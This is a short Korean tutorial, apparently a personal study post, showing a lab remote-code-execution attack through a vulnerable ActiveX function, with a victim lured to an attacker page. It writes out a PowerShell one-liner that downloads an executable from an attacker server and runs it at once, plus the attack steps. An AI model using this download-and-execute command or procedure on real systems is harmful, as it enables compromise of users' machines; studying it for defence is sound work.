개요
이번 장에서는 ActiveX의 취약점을 이용하여 강제로 원격명령코드를 실행시킬 수 있는 과정을 소개한다.
※ 해당 포스트는 개인 공부 목적으로 작성하였으며, 허가받지 않은 무분별한 해킹은 수감생활을 앞당길 수 있음을 알려드립니다.
ActiveX 취약점 테스트 구성
공격자 서버 |
http://192.168.200.153/login.html |
공격 시나리오 |
1. 공격자는 ActiveX의 취약함수(ExecuteCommand)를 호출하는 코드를 공격자 웹 서버에 올려둔다. 2. 피해자는 공격자의 웹 서버로 유인(XSS, 피싱 등)되어 공격자가 임의 조작한 ActiveX 함수를 호출한다. 3. 피해자의 PC에서 공격 코드가 실행되며, 피해자의 의지와 무관하게 공격자 서버에서 악성 실행파일을 다운받고 즉시 실행한다. |
공격 명령어 |
PowerShell (New-Object System.Net.WebClient).DownloadFile('http://192.168.200.153/calc.exe','calc.exe');(New-Object -com Shell.Application).ShellExecute('calc.exe'); |
공격 명령어 설명 |
파워쉘을 이용해 공격자 서버(http://192.168.200.153/)에서 악성 파일(calc.exe)을 다운로드 받고 해당 파일을 즉시 실행하는 명령어 |
RCE 공격 수행
1. 파이썬을 이용해 피해자를 유인할 공격자 웹서버를 구축한다.
2. 공격자 웹서버 경로에 ActiveX의 취약함수(ExecuteCommand)를 이용하여 cmd로 파워쉘을 실행시킨 뒤 악성 파일을 다운로드 받고 즉시 실행될 수 있도록 함수 인자를 조작한 코드(login.html)를 작성한다.
3. 작성한 공격코드(login.html)와 피해자 PC에서 실행시킬 악성파일(calc.exe)을 공격자 웹서버에 업로드 한다.
4. 피해자를 공격자의 웹서버로 유인하여 ActiveX의 취약한 함수를 통해 RCE(원격명령실행) 공격을 수행한다.
5. 피해자의 PC에서 파워쉘이 실행되며 악성 파일이 다운로드 및 실행된다.